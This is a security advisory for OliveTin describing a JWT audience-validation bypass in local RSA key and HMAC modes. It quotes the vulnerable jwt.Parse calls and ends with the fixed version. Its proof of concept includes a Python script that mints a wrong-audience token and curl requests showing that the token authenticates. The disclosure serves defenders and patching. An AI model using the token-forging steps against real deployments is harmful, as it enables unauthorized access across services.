Advisory

GHSA-g962-2j28-3cg9

Also known as: CVE-2026-30223, GO-2026-4622

Summary

OliveTin has JWT Audience Validation Bypass in Local Key and HMAC Modes

Details

Summary

When JWT authentication is configured using either:

  • authJwtPubKeyPath (local RSA public key), or
  • authJwtHmacSecret (HMAC secret),

the configured audience value (authJwtAud) is not enforced during token parsing.
As a result, validly signed JWT tokens with an incorrect aud claim are accepted for authentication.
This allows authentication using tokens intended for a different audience/service.

Details

Affected Code

File: jwt.go
Lines: 51–59, 144–157, 161–168

Current Behavior

Remote JWKS Mode (Correct):

return jwt.Parse(jwtToken, jwksVerifier.Keyfunc, jwt.WithAudience(cfg.AuthJwtAud))

Audience validation is enforced.

Local Public Key Mode (Vulnerable):

return jwt.Parse(jwtString, func(token *jwt.Token) (interface{}, error) { ... })

No jwt.WithAudience() option is provided.

HMAC Mode (Vulnerable):

return jwt.Parse(jwtString, func(token *jwt.Token) (interface{}, error) { ... })

No jwt.WithAudience() option is provided.

Why This Is Vulnerable: authJwtAud is ignored for authJwtPubKeyPath and authJwtHmacSecret modes, so wrong-audience tokens are accepted.

PoC

  1. Configure OliveTin

Use a minimal config with JWT local key authentication:

   authJwtPubKeyPath: ./public.pem
   authJwtHeader: Authorization
   authJwtClaimUsername: sub
   authJwtAud: expected-audience

   authRequireGuestsToLogin: true
  1. Generate a Wrong-Audience Token
   python3 - <<EOF
   import jwt, datetime

   with open("private.pem") as f:
       key = f.read()

   token = jwt.encode(
       {
           "sub": "low",
           "aud": "wrong-audience",   # intentionally wrong
           "exp": datetime.datetime.utcnow() + datetime.timedelta(minutes=30)
       },
       key,
       algorithm="RS256"
   )

   print(token)
   EOF

This prints the $WRONG_AUD_TOKEN.

  1. Test Without Token (Baseline)
   curl -i -X POST http://localhost:1337/api/WhoAmI \
     -H 'Content-Type: application/json' \
     -d '{}'

Expected response:

   HTTP/1.1 401 Unauthorized
  1. Test With Wrong-Audience Token
   curl -i -X POST http://localhost:1337/api/WhoAmI \
     -H 'Content-Type: application/json' \
     -H "Authorization: Bearer $WRONG_AUD_TOKEN" \
     -d '{}'

Expected response:

   HTTP/1.1 200 OK
   {"authenticatedUser":"low","provider":"jwt","usergroup":"","acls":[],"sid":""}

Authentication succeeds even though the aud claim is incorrect.

Impact

An attacker who possesses a valid JWT signed by the configured key (or HMAC secret) but intended for a different audience can authenticate successfully.

This enables:

  • Cross-service token reuse
  • Authentication using tokens issued for other systems
  • Trust boundary violation in multi-service environments

This is particularly severe when:

  • OliveTin is deployed behind a centralized SSO provider
  • The same signing key is reused across services
  • Audience restrictions are relied upon for service isolation

This does not bypass ACL authorization.
It is strictly an authentication validation flaw.

Severity

High Basis: The source's own band: HIGH

Dates

Published
2026-03-05 20:52 UTC
Modified
2026-03-23 04:56 UTC

Affected packages and fixes

github.com/OliveTin/OliveTin

Go · All systems

Affected

  • introduced 0, fixed 0.0.0-20260304231339-e97d8ecbd8d6 (semver)

Fixed versions

0.0.0-20260304231339-e97d8ecbd8d6

Fix

  • Fixed version 0.0.0-20260304231339-e97d8ecbd8d6
    go get github.com/OliveTin/[email protected]

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Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences